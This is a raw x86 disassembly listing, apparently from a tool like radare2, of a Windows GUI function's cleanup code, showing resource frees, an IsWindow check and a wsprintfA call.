jmp 0x48b1f3
cmp dword [ebp - 0x8c], 0
je 0x48b18e
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00486554
test eax, eax
je 0x48b18e
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov edx, dword [ebp + 8]
push edx
call sub.USER32.dll_IsWindow
test eax, eax
jne 0x48b1a4
mov ecx, dword [0x4fd9fc]
mov dword [ebp + 8], ecx
cmp dword [ebp - 0x14], 0
je 0x48b1bd
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x30]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0
jne 0x486847
cmp dword [ebp - 0x10], 0
je 0x48b1d1
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00499164
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
je 0x48b1f3
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x48b1f3
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x18], 0
je 0x486847
mov edx, dword [ebp - 0x88]
mov dword [0x4f1b10], edx
cmp dword [0x4f1b10], 0
je 0x48b21f
mov ecx, dword [0x4f1b10]
push ecx
call fcn.004cbf80
test eax, eax
jne 0x48b21f
xor eax, eax
mov dword [0x4f1b10], eax
cmp dword [ebp - 0x74], 0
je 0x48b258
mov edx, dword [ebp - 0x74]
push edx
push 0
push 0xd4b
call fcn.0041f178
push eax
push 0x50cbd8
call sub.USER32.dll_wsprintfA
add esp, 0xc
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.0040c454
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
xor edx, edx
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x28], 0
je 0x48b267
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00499164
cmp dword [ebp - 0x20], 0
je 0x48b27e
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 8]
je 0x48b27e
mov edx, dword [ebp - 0x20]
push edx
call fcn.00499164
cmp dword [ebp - 0x18], 0
je 0x48b28d
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00499164
cmp dword [ebp - 0x6c], 0
je 0x48b29d
mov eax, dword [ebp - 0x6c]
push eax
call fcn.0040c454
pop ecx
cmp dword [ebp - 0x68], 0
je 0x48b2ad
mov edx, dword [ebp - 0x68]
push edx
call fcn.0040c454
pop ecx
cmp dword [ebp - 0x64], 0
je 0x48b2bd
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.0040c454
pop ecx
cmp dword [ebp - 8], 0
je 0x48b2cc
mov eax, dword [ebp - 8]
push eax
call fcn.00499164
cmp dword [ebp - 0x10], 0
je 0x48b2db
mov edx, dword [ebp - 0x10]
push edx
call fcn.00499164
cmp dword [ebp - 0x78], 0
je 0x48b2eb
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.0040c454
pop ecx
cmp dword [ebp - 0x7c], 0
je 0x48b2fb
mov eax, dword [ebp - 0x7c]
push eax
call fcn.0040c454
pop ecx
cmp dword [ebp - 0x70], 0
je 0x48b30b
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040c454
pop ecx
cmp dword [ebp - 0x40], 0
jne 0x48b327
cmp byte [0x50cbd8], 0
je 0x48b327
mov ecx, dword [ebp - 0xc]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0045c218
cmp dword [ebp + 0x3c], 0
je 0x48b33c
cmp dword [ebp + 0x38], 0
je 0x48b33c
mov edx, dword [ebp + 0x38]
push edx
call fcn.00499164
cmp dword [ebp + 0x18], 0
jg 0x48b3ef
cmp dword [0x4f1e88], 0
je 0x48b362
mov ecx, dword [0x4f1e88]
push ecx
call fcn.00499164
xor eax, eax
mov dword [0x4f1e88], eax
cmp dword [0x4fd944], 0
je 0x48b3bf
mov esi, dword [0x4fd944]
test esi, esi
je 0x48b3bf
cmp dword [esi + 0x18], 0xfffffff7
jne 0x48b3b8
push 0
push 0
push 0
push 1
mov eax, dword [esi + 8]
push eax
mov edx, dword [ebp + 0x20]
push edx
push 0
mov ecx, dword [esi]
push ecx
mov eax, dword [0x4fd9fc]
push eax
call fcn.004e7390
mov edx, dword [esi + 0x30]
mov dword [ebp - 4], edx
push esi
mov ecx, dword [0x4fd944]
push ecx
call fcn.00498fb0
mov dword [0x4fd944], eax
mov esi, dword [ebp - 4]
jmp 0x48b371
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x48b375
cmp dword [ebp + 0x24], 0
je 0x48b3cf
mov eax, dword [ebp + 0x24]
push eax
call fcn.0040c454
pop ecx
cmp dword [ebp + 0x20], 0
je 0x48b3df
mov edx, dword [ebp + 0x20]
push edx
call fcn.0040c454
pop ecx
cmp dword [ebp + 0x1c], 0
je 0x48b3ef
mov ecx, dword [ebp + 0x1c]
push ecx
call fcn.0040c454
pop ecx
mov eax, dword [ebp - 0x40]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x40